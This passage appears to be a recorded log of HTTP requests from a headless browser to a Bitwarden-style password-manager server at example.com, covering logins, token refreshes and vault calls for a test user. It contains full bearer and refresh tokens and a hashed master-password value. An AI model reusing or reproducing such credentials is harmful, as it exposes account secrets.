O9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/notifications/hub?access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-Websocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Sec-Websocket-Key: gn2i7t3LFmj+47dvLQHEcA==", "Sec-Websocket-Extensions: permessage-deflate; client_max_window_bits"], "body": ""}
{"method": "GET", "target": "/api/accounts/revision-date", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/api/accounts/key-management/user-key-id", "headers": ["Host: example.com", "Content-Length: 48", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"userKeyId\":\"549cd3b87c242101679813f95c7c6cac\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5Njg3MjQ0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiRmc4bEduelpqTWdzZTdlT19CYUhnaTB5M2pOT1AwbWdPZlRRU2E1cjA0LXZnSUpOSFM3Rkg3ejhUaG1JLUdlaUt4MjVKQmJjc08xOWt3cmdJRVU5aHc9PSIsInRva2VuIjpudWxsfQ.MDicbm7tvVt6vJFZMAXnPTSzOg6_YWqg5I-jNgrlxUSvW4q419bqz4Am10daTOcDqqgyQHogMRhm1sHM62bdiz4KeyH-vnYtm2KaS3XUCHkOlQZf8cayfcWM8P9ykesfaUJPEuD1whKRlrqyL49eBMicVyTv4uuITr-WZhkF_owQTduKxCefE34Km79geY_HkK3t-dwdCuVH4jdPyQBSKhm7NJdHj54_LlXrfuFxuLF9aoUDsx3cCPOycyD9nT8Vtilj9r1r8mm9xl70qWE3307MYWYx-AZZ5Nq5CksZBo4yYutfrFHS3KOkZJk239wBYVRNtABPGLv738u9pRvbUg"}
{"method": "GET", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/videos/new-login-item.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
{"method": "GET", "target": "/videos/browser-extension-easy-access.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
{"method": "GET", "target": "/videos/onboarding-autofill.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
{"method": "GET", "target": "/api/devices/knowndevice", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: c3a5818e-de33-4cf1-9f7e-345fd32871e4", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "X-Request-Email: YWxpY2VAZXhhbXBsZS5jb20", "Sec-Ch-Ua-Mobile: ?0", "X-Device-Identifier: c3a5818e-de33-4cf1-9f7e-345fd32871e4", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=c3a5818e-de33-4cf1-9f7e-345fd32871e4&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a03db5f2-c0bc-4d6b-a5b3-49b51437a2cd&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/auth-requests/pending", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA1NTYsImV4cCI6MTc5NDI4Nzc1NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJhMDNkYjVmMi1jMGJjLTRkNmItYTViMy00OWI1MTQzN2EyY2QiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Y9zoVlxbR1bUz9R2x_mTA0Rdckt9wgf79Ks_LmH48qnVO3-oUtwf4sUXrGNNDW5H9OJD570OMTvVJnnqV5O_i60XmFnT5lDSc9mQQavcVAvvUhKYo6JIJpD2iJX3FNTekSIf5cyrDh4UTRs4M_DvseywaH7Wf_sBMchpI-SvLDkX45WkJPTvGtE141cJBA0lhYEC1OqzXCm9oAUtnpzm24UqIiFmULnmgPMgCaqy0z5_q5HjwV7KJCx68mj-epHTxVEmW0OdokF_AwNBEX28PYvCPkqXQC0efV8WQqyccxHyhklQ0fzE0iPQepL8uWc04AqI-xGy8yQz4ELTtpFcpA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/images/welcome-dialog-graphic.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=c2be2e36-3d11-4c06-8ba1-335675d058c6&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=956d620f-327f-4df5-99e1-7e907433bbd1&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/folders", "headers": ["Host: example.com", "Content-Length: 127", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA2NTIsImV4cCI6MTc5NDI4Nzg1MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI5NTZkNjIwZi0zMjdmLTRkZjUtOTllMS03ZTkwNzQzM2JiZDEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.nsIhN1Xu3znoozRrpinyJHICNbt-hqF-hF6utZkRAQsKqGP25WeOwRhiiay932ZIDHyDp5MpFnlAIHUG2ZifV0BMnQtTztqiLw4oRGFT_oOXSr2Q4hxwENQTjX2A3k1nC9yaKtzzwmZIHVnYMZvWOBcZ7kWE9LzgX3GiFivf3Pxear6TUu5m4SNm07vNgmoEzjvU83DYeJhsPQvFHwjxSaPlnKg2DjO--z3c5xKlmPMGmkRpoyjc3aAwXT3T3mbr7kUn_dKf1On1IlvVUMIE_1OIcEaJRb1iscxHokFs5WgnkG7Kio92cWAWCBzk7B8-z-e6eAI_2Y59fmOSy7xZ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"2.zvqHECD7DJhZvdxHAcURWQ==|H5AmHifDugbL0KqJrF8lF3ZB+ztLN/g2ML21y5WYYlw=|Ij+V3Bn/ktVCDC10Rfinxtrd+08DJYPzvB88xwnE2os=\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=efa4890d-fe4f-47d2-8c61-64b3db3cc752&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/ciphers", "headers": ["Host: example.com", "Content-Length: 1416", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer 